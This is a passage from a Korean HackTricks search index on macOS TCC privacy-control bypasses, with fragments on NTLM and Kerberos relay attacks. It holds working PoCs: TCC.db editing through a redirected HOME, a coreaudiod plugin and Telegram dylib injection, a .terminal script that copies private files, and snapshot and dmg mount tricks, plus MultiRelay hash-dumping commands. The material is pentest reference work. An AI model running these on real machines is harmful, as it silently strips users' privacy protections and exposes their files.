current window\\ncreate tab with default profile\\nend tell\\ntell current session of current window\\nwrite text \\"cp ~/Desktop/private.txt /tmp\\"\\nend tell\\nend tell bash osascript iterm.script Over Finder 또는 앱이 Finder에 대한 접근 권한이 있는 경우, 다음과 같은 스크립트를 사용할 수 있습니다: applescript set a_user to do shell script \\"logname\\"\\ntell application \\"Finder\\"\\nset desc to path to home folder\\nset copyFile to duplicate (item \\"private.txt\\" of folder \\"Desktop\\" of folder a_user of item \\"Users\\" of disk of home) to folder desc with replacing\\nset t to paragraphs of (do shell script \\"cat \\" & POSIX path of (copyFile as alias)) as text\\nend tell\\ndo shell script \\"rm \\" & POSIX path of (copyFile as alias)","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » kTCCServiceAppleEvents / 자동화","id":"2672","title":"kTCCServiceAppleEvents / 자동화"},"2673":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » By App behaviour","id":"2673","title":"By App behaviour"},"2674":{"body":"사용자 공간의 tccd daemon 은 HOME env 변수를 사용하여 TCC 사용자 데이터베이스에 접근합니다: $HOME/Library/Application Support/com.apple.TCC/TCC.db 이 Stack Exchange 게시물 에 따르면, TCC daemon이 현재 사용자의 도메인 내에서 launchd를 통해 실행되기 때문에, 모든 환경 변수 를 제어 할 수 있습니다. 따라서, 공격자는 $HOME 환경 변수를 **launchctl**에서 제어된 디렉토리 를 가리키도록 설정하고, TCC daemon을 재시작 한 다음, TCC 데이터베이스를 직접 수정 하여 최종 사용자에게 아무런 요청 없이 모든 TCC 권한 을 부여할 수 있습니다. PoC: bash # reset database just in case (no cheating!)\\n$> tccutil reset All\\n# mimic TCC\'s directory structure from ~/Library\\n$> mkdir -p \\"/tmp/tccbypass/Library/Application Support/com.apple.TCC\\"\\n# cd into the new directory\\n$> cd \\"/tmp/tccbypass/Library/Application Support/com.apple.TCC/\\"\\n# set launchd $HOME to this temporary directory\\n$> launchctl setenv HOME /tmp/tccbypass\\n# restart the TCC daemon\\n$> launchctl stop com.apple.tccd && launchctl start com.apple.tccd\\n# print out contents of TCC database and then give Terminal access to Documents\\n$> sqlite3 TCC.db .dump\\n$> sqlite3 TCC.db \\"INSERT INTO access\\nVALUES(\'kTCCServiceSystemPolicyDocumentsFolder\',\\n\'com.apple.Terminal\', 0, 1, 1,\\nX\'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003\',\\nNULL,\\nNULL,\\n\'UNUSED\',\\nNULL,\\nNULL,\\n1333333333333337);\\"\\n# list Documents directory without prompting the end user\\n$> ls ~/Documents","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » CVE-2020–9934 - TCC","id":"2674","title":"CVE-2020–9934 - TCC"},"2675":{"body":"노트는 TCC 보호 위치에 접근할 수 있었지만, 노트가 생성될 때 비보호 위치 에 생성됩니다. 따라서 노트에 보호된 파일을 복사하도록 요청할 수 있으며 (즉, 비보호 위치에) 그 파일에 접근할 수 있습니다:","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » CVE-2021-30761 - 노트","id":"2675","title":"CVE-2021-30761 - 노트"},"2676":{"body":"바이너리 /usr/libexec/lsd는 libsecurity_translocate 라이브러리와 함께 com.apple.private.nullfs_allow 권한을 가지고 있어 nullfs 마운트를 생성할 수 있었고, 모든 파일에 접근하기 위해 **kTCCServiceSystemPolicyAllFiles**와 함께 com.apple.private.tcc.allow 권한을 가지고 있었습니다. \\"Library\\"에 격리 속성을 추가하고 com.apple.security.translocation XPC 서비스를 호출하면 Library가 **$TMPDIR/AppTranslocation/d/d/Library**로 매핑되어 Library 안의 모든 문서에 접근 할 수 있었습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » CVE-2021-30782 - 전이","id":"2676","title":"CVE-2021-30782 - 전이"},"2677":{"body":"**Music**는 흥미로운 기능을 가지고 있습니다: 실행 중일 때, **~/Music/Music/Media.localized/Automatically Add to Music.localized**에 드롭된 파일을 사용자의 \\"미디어 라이브러리\\"로 가져옵니다 . 게다가, **rename(a, b);**와 같은 호출을 하며, 여기서 a와 b는 다음과 같습니다: a = \\"~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3\\" b = \\"~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3\\" 이 rename(a, b); 동작은 경쟁 조건 에 취약하며, Automatically Add to Music.localized 폴더 안에 가짜 TCC.db 파일을 넣고, 새 폴더(b)가 생성될 때 파일을 복사하고 삭제한 후 **~/Library/Application Support/com.apple.TCC**로 가리킬 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » CVE-2023-38571 - 음악 및 TV","id":"2677","title":"CVE-2023-38571 - 음악 및 TV"},"2678":{"body":"**SQLITE_SQLLOG_DIR=\\"path/folder\\"**는 기본적으로 열려 있는 모든 db가 해당 경로로 복사됨 을 의미합니다. 이 CVE에서는 이 제어가 남용되어 TCC 데이터베이스 를 열 프로세스에 의해 열릴 SQLite 데이터베이스 안에 쓰기 가 이루어졌고, **SQLITE_SQLLOG_DIR**를 파일 이름의 심볼릭 링크 로 남용하여 그 데이터베이스가 열릴 때 사용자 TCC.db가 열려 있는 것으로 덮어씌워졌습니다. 자세한 정보 작성물에서 및 강연에서 .","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » SQLITE_SQLLOG_DIR - CVE-2023-32422","id":"2678","title":"SQLITE_SQLLOG_DIR - CVE-2023-32422"},"2679":{"body":"환경 변수 **SQLITE_AUTO_TRACE**가 설정되면, 라이브러리 **libsqlite3.dylib**는 모든 SQL 쿼리를 로깅 하기 시작합니다. 많은 애플리케이션이 이 라이브러리를 사용했기 때문에, 그들의 모든 SQLite 쿼리를 로깅할 수 있었습니다. 여러 애플리케이션이 TCC 보호 정보를 접근하기 위해 이 라이브러리를 사용했습니다. bash # Set this env variable everywhere\\nlaunchctl setenv SQLITE_AUTO_TRACE 1","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » SQLITE_AUTO_TRACE","id":"2679","title":"SQLITE_AUTO_TRACE"},"268":{"body":"MultiRelay는 /usr/share/responder/tools 디렉토리에서 실행되며, 특정 IP 또는 사용자를 대상으로 합니다. bash python MultiRelay.py -t -u ALL # Relay all users\\npython MultiRelay.py -t -u ALL -c whoami # Execute command\\npython MultiRelay.py -t -u ALL -d # Dump hashes # Proxychains for routing traffic 이 도구와 기술은 다양한 네트워크 환경에서 NTLM Relay 공격을 수행하기 위한 포괄적인 세트를 형성합니다.","breadcrumbs":"Pentesting Network » Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks » MultiRelay 작동","id":"268","title":"MultiRelay 작동"},"2680":{"body":"이 env 변수는 Metal 프레임워크에 의해 사용됩니다 . 이는 여러 프로그램의 의존성으로, 특히 FDA가 있는 Music에서 두드러집니다. 다음과 같이 설정합니다: MTL_DUMP_PIPELINES_TO_JSON_FILE=\\"path/name\\". 만약 path가 유효한 디렉토리라면, 버그가 발생하고 fs_usage를 사용하여 프로그램에서 무슨 일이 일어나고 있는지 볼 수 있습니다: path/.dat.nosyncXXXX.XXXXXX라는 파일이 open()됩니다 (X는 랜덤) 하나 이상의 write()가 파일에 내용을 씁니다 (우리는 이를 제어하지 않습니다) path/.dat.nosyncXXXX.XXXXXX가 path/name으로 renamed()됩니다 이는 임시 파일 쓰기 후 rename(old, new) 가 안전하지 않습니다. 안전하지 않은 이유는 이전 및 새로운 경로를 별도로 해결해야 하기 때문 이며, 이는 시간이 걸릴 수 있고 경쟁 조건에 취약할 수 있습니다. 더 많은 정보는 xnu 함수 renameat_internal()을 확인할 수 있습니다. caution 기본적으로, 권한이 있는 프로세스가 당신이 제어하는 폴더에서 이름을 바꾸면, RCE를 얻고 다른 파일에 접근하게 하거나, 이 CVE와 같이 권한 있는 앱이 생성한 파일을 열고 FD를 저장할 수 있습니다. 이름 변경이 당신이 제어하는 폴더에 접근할 경우, 소스 파일을 수정했거나 그에 대한 FD가 있을 때, 목적지 파일(또는 폴더)을 심볼릭 링크를 가리키도록 변경하여 원하는 때에 쓸 수 있습니다. 이것이 CVE에서의 공격이었습니다: 예를 들어, 사용자의 TCC.db를 덮어쓰려면 다음을 수행할 수 있습니다: /Users/hacker/ourlink를 /Users/hacker/Library/Application Support/com.apple.TCC/를 가리키도록 생성합니다. /Users/hacker/tmp/ 디렉토리를 생성합니다. MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db로 설정합니다. 이 env 변수를 사용하여 Music을 실행하여 버그를 유발합니다. /Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX의 open()을 포착합니다 (X는 랜덤) 여기서 우리는 이 파일을 쓰기 위해 open()하고 파일 디스크립터를 유지합니다. /Users/hacker/tmp를 /Users/hacker/ourlink와 루프에서 원자적으로 전환 합니다. 경쟁 창이 매우 좁기 때문에 성공할 확률을 극대화하기 위해 이렇게 합니다. 그러나 경쟁에서 지는 것은 미미한 단점이 있습니다. 잠시 기다립니다. 운이 좋았는지 테스트합니다. 그렇지 않으면 처음부터 다시 실행합니다. 자세한 정보는 https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html 에서 확인할 수 있습니다. caution 이제 MTL_DUMP_PIPELINES_TO_JSON_FILE env 변수를 사용하려고 하면 앱이 실행되지 않습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407","id":"2680","title":"MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407"},"2681":{"body":"루트로 이 서비스를 활성화하면 ARD 에이전트가 전체 디스크 접근 권한을 가지게 되어 사용자가 이를 악용하여 새로운 TCC 사용자 데이터베이스 를 복사하게 할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » Apple Remote Desktop","id":"2681","title":"Apple Remote Desktop"},"2682":{"body":"TCC는 사용자의 HOME 폴더에 있는 데이터베이스를 사용하여 $HOME/Library/Application Support/com.apple.TCC/TCC.db 에서 사용자에게 특정한 리소스에 대한 접근을 제어합니다. 따라서 사용자가 $HOME env 변수가 다른 폴더 를 가리키도록 TCC를 재시작할 수 있다면, 사용자는 /Library/Application Support/com.apple.TCC/TCC.db 에 새로운 TCC 데이터베이스를 생성하고 TCC를 속여서 모든 TCC 권한을 모든 앱에 부여할 수 있습니다. tip Apple은 NFSHomeDirectory 속성 내에 사용자의 프로필에 저장된 설정을 $HOME 의 값으로 사용하므로, 이 값을 수정할 수 있는 권한이 있는 애플리케이션을 손상시키면 ( kTCCServiceSystemPolicySysAdminFiles ), TCC 우회를 통해 이 옵션을 무기화 할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » By NFSHomeDirectory","id":"2682","title":"By NFSHomeDirectory"},"2683":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » CVE-2020–9934 - TCC","id":"2683","title":"CVE-2020–9934 - TCC"},"2684":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » CVE-2020-27937 - Directory Utility","id":"2684","title":"CVE-2020-27937 - Directory Utility"},"2685":{"body":"첫 번째 POC 는 dsexport 와 dsimport 를 사용하여 사용자의 HOME 폴더를 수정합니다. 대상 앱에 대한 csreq 블롭을 가져옵니다. 필요한 접근 권한과 csreq 블롭이 포함된 가짜 TCC.db 파일을 심습니다. dsexport 를 사용하여 사용자의 디렉토리 서비스 항목을 내보냅니다. 사용자의 홈 디렉토리를 변경하기 위해 디렉토리 서비스 항목을 수정합니다. dsimport 를 사용하여 수정된 디렉토리 서비스 항목을 가져옵니다. 사용자의 _tccd_를 중지하고 프로세스를 재부팅합니다. 두 번째 POC는 **/usr/libexec/configd**를 사용했으며, 여기에는 com.apple.private.tcc.allow가 kTCCServiceSystemPolicySysAdminFiles 값으로 설정되어 있었습니다. -t 옵션으로 **configd**를 실행할 수 있었고, 공격자는 로드할 사용자 정의 번들 을 지정할 수 있었습니다. 따라서 이 익스플로잇은 사용자의 홈 디렉토리를 변경하는 dsexport 및 dsimport 방법을 configd 코드 주입 으로 대체합니다. 자세한 정보는 원본 보고서 를 확인하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » CVE-2021-30970 - Powerdir","id":"2685","title":"CVE-2021-30970 - Powerdir"},"2686":{"body":"프로세스 내부에 코드를 주입하고 TCC 권한을 악용하는 다양한 기술이 있습니다: macOS Process Abuse 게다가, TCC를 우회하기 위해 발견된 가장 일반적인 프로세스 주입 방법은 **플러그인(로드 라이브러리)**입니다. 플러그인은 일반적으로 라이브러리 또는 plist 형태의 추가 코드로, 주 애플리케이션에 의해 로드 되어 그 컨텍스트에서 실행됩니다. 따라서 주 애플리케이션이 TCC 제한 파일에 대한 접근 권한(부여된 권한 또는 권한을 통해)을 가지고 있다면, 사용자 정의 코드도 이를 가지게 됩니다 .","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » By process injection","id":"2686","title":"By process injection"},"2687":{"body":"애플리케이션 /System/Library/CoreServices/Applications/Directory Utility.app는 kTCCServiceSystemPolicySysAdminFiles 권한을 가지고 있으며, .daplug 확장자를 가진 플러그인을 로드하고 강화된 런타임이 없습니다. 이 CVE를 무기화하기 위해 **NFSHomeDirectory**가 변경 됩니다(이전 권한을 악용하여) 사용자의 TCC 데이터베이스를 장악 하여 TCC를 우회할 수 있도록 합니다. 자세한 정보는 원본 보고서 를 확인하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » CVE-2020-27937 - Directory Utility","id":"2687","title":"CVE-2020-27937 - Directory Utility"},"2688":{"body":"바이너리 **/usr/sbin/coreaudiod**는 com.apple.security.cs.disable-library-validation 및 com.apple.private.tcc.manager 권한을 가지고 있었습니다. 첫 번째는 코드 주입을 허용 하고 두 번째는 TCC를 관리할 수 있는 접근 권한을 부여 합니다. 이 바이너리는 /Library/Audio/Plug-Ins/HAL 폴더에서 타사 플러그인 을 로드할 수 있었습니다. 따라서 이 PoC로 플러그인을 로드하고 TCC 권한을 악용 할 수 있었습니다: objectivec #import \\n#import extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess); void add_tcc_entry() {\\nCFStringRef TCCAccessCheckType = CFSTR(\\"kTCCServiceSystemPolicyAllFiles\\"); CFStringRef bundleID = CFSTR(\\"com.apple.Terminal\\");\\nCFStringRef pureReq = CFSTR(\\"identifier \\\\\\"com.apple.Terminal\\\\\\" and anchor apple\\");\\nSecRequirementRef requirement = NULL;\\nSecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement);\\nCFDataRef requirementData = NULL;\\nSecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData); TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue);\\n} __attribute__((constructor)) static void constructor(int argc, const char **argv) { add_tcc_entry(); NSLog(@\\"[+] Exploitation finished...\\");\\nexit(0); 더 많은 정보는 원본 보고서 를 확인하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » CVE-2020-29621 - Coreaudiod","id":"2688","title":"CVE-2020-29621 - Coreaudiod"},"2689":{"body":"Core Media I/O를 통해 카메라 스트림을 여는 시스템 애플리케이션(**kTCCServiceCamera**가 있는 앱)은 /Library/CoreMediaIO/Plug-Ins/DAL에 위치한 이 플러그인들을 프로세스에서 로드 합니다 (SIP 제한 없음). 여기에 일반 생성자 가 있는 라이브러리를 저장하는 것만으로도 코드를 주입 할 수 있습니다. 여러 Apple 애플리케이션이 이에 취약했습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » 장치 추상화 계층 (DAL) 플러그인","id":"2689","title":"장치 추상화 계층 (DAL) 플러그인"},"269":{"body":"Windows에서는 일부 특권 계정이 임의의 머신에 인증하도록 강제할 수 있습니다 . 방법을 배우려면 다음 페이지를 읽으십시오: Force NTLM Privileged Authentication","breadcrumbs":"Pentesting Network » Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks » NTLM 로그인 강제화","id":"269","title":"NTLM 로그인 강제화"},"2690":{"body":"Firefox 애플리케이션은 com.apple.security.cs.disable-library-validation 및 com.apple.security.cs.allow-dyld-environment-variables 권한을 가지고 있었습니다: xml codesign -d --entitlements :- /Applications/Firefox.app\\nExecutable=/Applications/Firefox.app/Contents/MacOS/firefox \\n\\n\\n\\ncom.apple.security.cs.allow-unsigned-executable-memory\\n\\ncom.apple.security.cs.disable-library-validation\\n\\ncom.apple.security.cs.allow-dyld-environment-variables\\n\\ncom.apple.security.device.audio-input\\n\\ncom.apple.security.device.camera\\n\\ncom.apple.security.personal-information.location\\n\\ncom.apple.security.smartcard\\n\\n\\n 더 많은 정보는 원본 보고서를 확인하세요 에서 확인할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » Firefox","id":"2690","title":"Firefox"},"2691":{"body":"바이너리 /system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl는 com.apple.private.tcc.allow 및 com.apple.security.get-task-allow 권한을 가지고 있어, 프로세스 내에 코드를 주입하고 TCC 권한을 사용할 수 있었습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » CVE-2020-10006","id":"2691","title":"CVE-2020-10006"},"2692":{"body":"Telegram은 com.apple.security.cs.allow-dyld-environment-variables 및 com.apple.security.cs.disable-library-validation 권한을 가지고 있어, 이를 악용하여 카메라로 녹화하는 등의 권한에 접근 할 수 있었습니다. 페이로드는 작성물에서 확인할 수 있습니다 . 환경 변수를 사용하여 라이브러리를 로드하는 방법에 주목하세요. 커스텀 plist 가 생성되어 이 라이브러리를 주입하고 **launchctl**을 사용하여 실행되었습니다: xml \\n\\n\\n\\nLabel\\ncom.telegram.launcher\\nRunAtLoad\\n\\nEnvironmentVariables\\n\\nDYLD_INSERT_LIBRARIES\\n/tmp/telegram.dylib\\n\\nProgramArguments\\n\\n/Applications/Telegram.app/Contents/MacOS/Telegram\\n\\nStandardOutPath\\n/tmp/telegram.log\\nStandardErrorPath\\n/tmp/telegram.log\\n\\n bash launchctl load com.telegram.launcher.plist","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » CVE-2023-26818 - Telegram","id":"2692","title":"CVE-2023-26818 - Telegram"},"2693":{"body":"**open**을 샌드박스 상태에서도 호출할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » By open invocations","id":"2693","title":"By open invocations"},"2694":{"body":"기술자들이 사용하는 컴퓨터에서는 터미널 **Full Disk Access (FDA)**를 부여하는 것이 일반적입니다. 그리고 이를 사용하여 .terminal 스크립트를 호출할 수 있습니다. .terminal 스크립트는 CommandString 키에 실행할 명령이 포함된 plist 파일입니다: xml \\n \\n\\nCommandString\\ncp ~/Desktop/private.txt /tmp/;\\nProfileCurrentVersion\\n2.0600000000000001\\nRunCommandAsShell\\n\\nname\\nexploit\\ntype\\nWindow Settings\\n\\n 애플리케이션은 /tmp와 같은 위치에 터미널 스크립트를 작성하고 다음과 같은 명령으로 실행할 수 있습니다: objectivec // Write plist in /tmp/tcc.terminal\\n[...]\\nNSTask *task = [[NSTask alloc] init];\\nNSString * exploit_location = @\\"/tmp/tcc.terminal\\";\\ntask.launchPath = @\\"/usr/bin/open\\";\\ntask.arguments = @[@\\"-a\\", @\\"/System/Applications/Utilities/Terminal.app\\",\\nexploit_location]; task.standardOutput = pipe;\\n[task launch];","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » Terminal Scripts","id":"2694","title":"Terminal Scripts"},"2695":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » By mounting","id":"2695","title":"By mounting"},"2696":{"body":"모든 사용자 (특권이 없는 사용자 포함)는 타임 머신 스냅샷을 생성하고 마운트하여 해당 스냅샷의 모든 파일에 접근할 수 있습니다. 필요한 유일한 특권 은 사용되는 애플리케이션(예: Terminal)이 전체 디스크 접근 (FDA) 권한(kTCCServiceSystemPolicyAllfiles)을 가져야 하며, 이는 관리자가 부여해야 합니다. bash # Create snapshot\\ntmutil localsnapshot # List snapshots\\ntmutil listlocalsnapshots /\\nSnapshots for disk /:\\ncom.apple.TimeMachine.2023-05-29-001751.local # Generate folder to mount it\\ncd /tmp # I didn it from this folder\\nmkdir /tmp/snap # Mount it, \\"noowners\\" will mount the folder so the current user can access everything\\n/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap # Access it\\nls /tmp/snap/Users/admin_user # This will work 더 자세한 설명은 원본 보고서에서 확인할 수 있습니다 .","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » CVE-2020-9771 - mount_apfs TCC 우회 및 권한 상승","id":"2696","title":"CVE-2020-9771 - mount_apfs TCC 우회 및 권한 상승"},"2697":{"body":"TCC DB 파일이 보호되어 있더라도, 새로운 TCC.db 파일을 디렉토리 위에 마운트 하는 것이 가능했습니다: bash # CVE-2021-1784\\n## Mount over Library/Application\\\\ Support/com.apple.TCC\\nhdiutil attach -owners off -mountpoint Library/Application\\\\ Support/com.apple.TCC test.dmg # CVE-2021-1784\\n## Mount over ~/Library\\nhdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg python # This was the python function to create the dmg\\ndef create_dmg():\\nos.system(\\"hdiutil create /tmp/tmp.dmg -size 2m -ov -volname \\\\\\"tccbypass\\\\\\" -fs APFS 1>/dev/null\\")\\nos.system(\\"mkdir /tmp/mnt\\")\\nos.system(\\"hdiutil attach -owners off -mountpoint /tmp/mnt /tmp/tmp.dmg 1>/dev/null\\")\\nos.system(\\"mkdir -p /tmp/mnt/Application\\\\ Support/com.apple.TCC/\\")\\nos.system(\\"cp /tmp/TCC.db /tmp/mnt/Application\\\\ Support/com.apple.TCC/TCC.db\\")\\nos.system(\\"hdiutil detach /tmp/mnt 1>/dev/null\\") Check the full exploit in the original writeup .","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » CVE-2021-1784 & CVE-2021-30808 - TCC 파일 위에 마운트","id":"2697","title":"CVE-2021-1784 & CVE-2021-30808 - TCC 파일 위에 마운트"},"2698":{"body":"원본 작성물 에서 설명된 바와 같이, 이 CVE는 diskarbitrationd를 악용했습니다. 공용 DiskArbitration 프레임워크의 함수 DADiskMountWithArgumentsCommon이 보안 검사를 수행했습니다. 그러나 diskarbitrationd를 직접 호출하여 경로에 ../ 요소와 심볼릭 링크를 사용할 수 있습니다. 이로 인해 공격자는 TCC 데이터베이스에 대한 diskarbitrationd의 권한 com.apple.private.security.storage-exempt.heritable 덕분에 임의의 마운트를 할 수 있었습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » CVE-2024-40855","id":"2698","title":"CVE-2024-40855"},"2699":{"body":"도구 **/usr/sbin/asr**는 전체 디스크를 복사하고 TCC 보호를 우회하여 다른 위치에 마운트할 수 있게 해주었습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » asr","id":"2699","title":"asr"},"27":{"body":"테스트 가 내부 테스트 인지 외부 테스트 인지에 따라 회사 네트워크 내 호스트 를 찾거나 인터넷에서 회사의 자산 을 찾는 데 관심이 있을 수 있습니다. note 외부 테스트를 수행하는 경우, 회사의 내부 네트워크에 접근하게 되면 이 가이드를 다시 시작해야 합니다.","breadcrumbs":"Pentesting Methodology » 1- 네트워크 내 호스트 발견 / 회사의 자산 발견","id":"27","title":"1- 네트워크 내 호스트 발견 / 회사의 자산 발견"},"270":{"body":"Kerberos relay 공격 은 한 서비스에서 AP-REQ 티켓 을 훔쳐서 같은 컴퓨터 계정 키 를 공유하는 두 번째 서비스에 재사용합니다 (두 SPN이 같은 $ 머신 계정에 있기 때문입니다). SPN의 서비스 클래스가 다르더라도 (예: CIFS/ → LDAP/) 티켓을 해독하는 키 는 머신의 NT 해시이므로 SPN 문자열 자체가 아니라 SPN 문자열은 서명의 일부가 아닙니다. NTLM relay와 달리, 홉은 같은 호스트 로 제한되지만, LDAP에 쓸 수 있는 프로토콜을 목표로 하면 Resource-Based Constrained Delegation (RBCD) 또는 AD CS 등록 으로 체인할 수 있으며, 한 번에 NT AUTHORITY\\\\SYSTEM 을 팝할 수 있습니다. 이 공격에 대한 자세한 정보는 다음을 확인하십시오: https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/ Kerberos 기본 사항 토큰 목적 릴레이 관련성 TGT / AS-REQ ↔ REP KDC에 사용자 증명 손대지 않음 서비스 티켓 / TGS-REQ ↔ REP 하나의 SPN 에 바인딩; SPN 소유자의 키로 암호화됨 SPN이 계정을 공유하면 교환 가능 AP-REQ 클라이언트가 서비스를 위해 TGS를 보냄 우리가 훔치고 재생하는 것 티켓은 SPN을 소유한 계정의 비밀번호에서 파생된 키 로 암호화됩니다. AP-REQ 내부의 인증자 는 5분 타임스탬프를 가지고 있으며, 그 시간 내에 재생은 서비스 캐시가 중복을 감지할 때까지 유효합니다. Windows는 티켓의 SPN 문자열이 당신이 접근하는 서비스와 일치하는지 거의 확인하지 않으므로, CIFS/HOST에 대한 티켓은 일반적으로 LDAP/HOST에서 잘 해독됩니다. Kerberos를 릴레이하기 위해 반드시 사실이어야 하는 것들 공유 키: 출처 및 대상 SPN이 동일한 컴퓨터 계정에 속함 (Windows 서버의 기본값). 채널 보호 없음: SMB/LDAP 서명 해제 및 HTTP/LDAPS에 대한 EPA 해제. 인증을 가로채거나 강제할 수 있음: LLMNR/NBNS 중독, DNS 스푸핑, PetitPotam / DFSCoerce RPC , 가짜 AuthIP, 악성 DCOM 등. 티켓 출처가 이미 사용되지 않음: 실제 패킷이 도착하기 전에 경주에서 이기거나 완전히 차단; 그렇지 않으면 서버의 재생 캐시가 이벤트 4649를 발생시킵니다. 통신에서 MitM을 수행할 수 있어야 함: DNSAmins 그룹의 일원이 되어 도메인의 DNS를 수정하거나 피해자의 HOST 파일을 변경할 수 있어야 합니다.","breadcrumbs":"Pentesting Network » Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks » Kerberos Relay 공격","id":"270","title":"Kerberos Relay 공격"},"2700":{"body":"**/var/db/locationd/clients.plist**에 세 번째 TCC 데이터베이스가 있어 위치 서비스에 접근할 수 있는 클라이언트 를 나타냅니다. 폴더 /var/db/locationd/는 DMG 마운트에서 보호되지 않았기 때문에 우리의 plist를 마운트할 수 있었습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » Location Services","id":"2700","title":"Location Services"},"2701":{"body":"macOS Auto Start","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » By startup apps","id":"2701","title":"By startup apps"},"2702":{"body":"여러 경우에 파일이 이메일, 전화번호, 메시지 등과 같은 민감한 정보를 비보호 위치에 저장합니다(이는 Apple의 취약점으로 간주됩니다).","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » By grep","id":"2702","title":"By grep"},"2703":{"body":"이 방법은 더 이상 작동하지 않지만, 과거에는 작동했습니다 : CoreGraphics 이벤트 를 사용하는 또 다른 방법:","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » Synthetic Clicks","id":"2703","title":"Synthetic Clicks"},"2704":{"body":"https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8 https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/ 20+ Ways to Bypass Your macOS Privacy Mechanisms Knockout Win Against TCC - 20+ NEW Ways to Bypass Your MacOS Privacy Mechanisms tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » Reference","id":"2704","title":"Reference"},"2705":{"body":"Reading time: 